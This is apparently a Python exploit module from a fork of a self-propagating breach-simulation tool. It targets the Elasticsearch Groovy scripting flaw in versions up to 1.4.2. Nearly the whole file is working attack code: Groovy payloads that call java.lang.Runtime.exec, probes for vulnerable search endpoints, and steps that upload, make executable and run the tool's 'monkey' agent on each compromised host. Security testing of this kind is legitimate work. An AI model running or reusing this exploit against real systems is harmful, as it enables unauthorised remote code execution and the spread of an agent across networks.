forked from p34709852/monkey
98 lines
3.8 KiB
Python
98 lines
3.8 KiB
Python
"""
|
|
Implementation is based on elastic search groovy exploit by metasploit
|
|
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
|
|
Max vulnerable elasticsearch version is "1.4.2"
|
|
"""
|
|
|
|
import json
|
|
import logging
|
|
|
|
import requests
|
|
|
|
from model import DROPPER_ARG
|
|
from network.elasticfinger import ES_SERVICE, ES_PORT
|
|
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
|
from exploit.web_rce import WebRCE
|
|
|
|
__author__ = 'danielg'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class ElasticGroovyExploiter(WebRCE):
|
|
# attack URLs
|
|
BASE_URL = 'http://%s:%s/_search?pretty'
|
|
MONKEY_RESULT_FIELD = "monkey_result"
|
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
|
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
|
JAVA_GET_TMP_DIR = \
|
|
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
|
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
|
JAVA_CMD = GENERIC_QUERY \
|
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
|
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
|
|
|
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
|
|
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
|
|
def __init__(self, host):
|
|
super(ElasticGroovyExploiter, self).__init__(host)
|
|
|
|
def exploit_host(self):
|
|
# self.exploit_host_linux()
|
|
if ES_SERVICE not in self.host.services:
|
|
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
|
|
return False
|
|
# We need a reference to the exploiter for WebRCE framework to use
|
|
exploiter = self.exploit
|
|
# Build url from host and elastic port(not https)
|
|
urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty'])
|
|
vulnerable_urls = []
|
|
for url in urls:
|
|
if WebRCE.check_if_exploitable(exploiter, url):
|
|
vulnerable_urls.append(url)
|
|
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
|
if not vulnerable_urls:
|
|
return False
|
|
|
|
if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config):
|
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
return True
|
|
|
|
if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]):
|
|
return False
|
|
|
|
data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0])
|
|
|
|
# We can't use 'if not' because response may be ''
|
|
if data is not False and data['response'] == False:
|
|
return False
|
|
|
|
if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
|
|
return False
|
|
|
|
if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False:
|
|
return False
|
|
|
|
return True
|
|
|
|
def exploit(self, url, command):
|
|
payload = self.JAVA_CMD % command
|
|
response = requests.get(url, data=payload)
|
|
result = self.get_results(response)
|
|
if not result: # not vulnerable
|
|
return False
|
|
return result[0]
|
|
|
|
def get_results(self, response):
|
|
"""
|
|
Extracts the result data from our attack
|
|
:return: List of data fields or None
|
|
"""
|
|
try:
|
|
json_resp = json.loads(response.text)
|
|
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
|
except (KeyError, IndexError):
|
|
return None
|